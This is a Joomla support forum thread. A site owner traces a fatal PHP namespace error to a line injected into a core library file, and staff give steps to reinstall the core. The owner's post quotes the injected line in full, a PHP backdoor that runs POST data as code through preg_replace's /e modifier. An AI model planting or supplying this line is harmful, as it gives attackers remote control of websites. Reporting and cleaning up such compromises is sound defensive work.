SPECIAL OFFER: Only $69 for access to everything in OSTraining for 1 year! You save $75! 
Join today and get access to 1,000's of books and videos. Learn WordPress, Drupal, Magento, Joomla and more! Sign up today!

New error message Namespace declaration statemen

5 years 11 months ago #120751 by paulbe
Received this Fatal error:
Namespace declaration statement has to be the very first statement in the script in /home/mctwoeng/public_html/libraries/vendor/joomla/registry/src/AbstractRegistryFormat.php on line 10

The website is mc2engineers.com. Need to know how to resolved this issue.

Thanks,

Please Log in to join the conversation.

5 years 11 months ago #120756 by steve
Hi Paulbe

That looks like a unique error. I can't find anyone reporting that before.

Can you talk us through this situation more? Did you just update the site? Install a new extension?

Please Log in to join the conversation.

5 years 11 months ago #120765 by paulbe
Thanks Steve for your quick response. It turns out to be a code that was inserted to a specific file. I was able to find the file the file and remove the code. Not sure how it got there. This site wasn't upgraded to the latest version. It was on Joomla 3.4.1.

The actual error message was:
Fatal error: Namespace declaration statement has to be the very first statement in the script in
/home/mctwoeng/public_html/libraries/vendor/joomla/registry/src/AbstractRegistryFormat.php on line 10

The first line of the code had:
<?php @preg_replace('/(.*)/e', @$_POST, '');

I removed that line and only kept <?php

It resolved the problem. It looked like my site may have been hacked. You can also reference this article on http://forum.joomla.org/viewtopic.php?f=706&t=903170 as another source to view.

Thanks,
Paul

Please Log in to join the conversation.

5 years 11 months ago #120797 by Valentin
Hi Paul,
I'm glad you figured out the issue. Still worth to reinstall Joomla core in case other files were corrupted.

So, if you're using Joomla 3.4.8, follow these steps for a complete maintenance:

1) Create and download a backup:
www.ostraining.com/blog/joomla/test-site-akeeba-backup/

2) Fix your folder and file permission using Admin Tools:
www.ostraining.com/blog/joomla/admin-too...nd-file-permissions/

3) Download the following package:
github.com/joomla/joomla-cms/releases/do...ble-Full_Package.zip

then install it from Extensions >> Manage , as you would an extension.

4) Go to Extensions >> Manage >> Database >> Fix

That should reset all your core files to 3.4.8 as well as your database.

5) Clear your browser's cache as well as your site cache.

Kind regards,
Valentín

Follow us on Twitter - twitter.com/OSTraining
Like us on Facebook - facebook.com/ostraining

Please Log in to join the conversation.

Join today and get access to 1,000's of books and videos. Learn WordPress, Drupal, Magento, Joomla and more! Sign up today!